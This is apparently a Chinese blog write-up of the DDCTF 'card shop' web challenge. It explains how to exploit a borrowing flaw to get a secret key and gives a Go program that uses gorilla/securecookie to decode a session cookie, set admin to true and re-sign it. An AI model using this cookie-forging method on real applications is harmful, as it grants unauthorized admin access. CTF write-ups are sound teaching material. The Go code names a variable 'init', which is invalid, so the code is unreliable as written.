CTF Web安全

DDCTF 卡片商店(整数溢出+go cookie基础)

Posted on 2020-09-04,2 min read

主页并没有啥东西。
一个借进来。一个借出去

但是。借进来没任何限制。。借出去有限制

点击兑换礼物。并不行。。限制有未还款
然后等一会。。它的账单就会清空。。。但是卡片不会

此时兑换。得到一个key

访问/flag。不行。提示您不是幸运玩家
并且。我们还没用到这个key
然后google搜go cookie securitykey github
得到这个库https://github.com/gorilla/securecookie
根据里面的实例。我们写一个解析cookie的代码

package main
//导入包
import (
	"fmt"
	"github.com/gorilla/securecookie"
)
//定义secret
var (
	hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")
	init       = securecookie.New(hashKey, nil)
	cookie       = "MTU5OTIyMzkzOHxEdi1CQkFFQ180SUFBUkFCRUFBQV81dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ER1FBWW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam94TWpJeU1qSXhPRFE1T0RrNU9ERTNOeXdpYm05M1gzUnBiV1VpT2pFMU9Ua3lNak0xT0RBc0luTjBZWEowWDNScGJXVWlPakUxT1RreU1qTTBNREI5Qm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQT09fJpiqcBLlxJJIorq5kZWajwO4UHCF02nu8z9OVlphBvj"
)

func main() {
	var values map[interface{}]interface{}
//这里定义数据类型。就是你cookie解析后得到数据的类型。
//https://blog.csdn.net/houyanhua1/article/details/88712058。
//这篇文章中说了。可以用空接口存储任意数据
	if err := init.Decode("session",cookie, &values); err == nil {
        //解析cookie。放到values里
		fmt.Print(values)
		values["admin"] = true
        //将admin属性设置为True
		fmt.Print(init.Encode("session", values))
        //加密输出
	}
}

数据如下

替换cookie访问flag就行

下一篇: 强网杯 web题→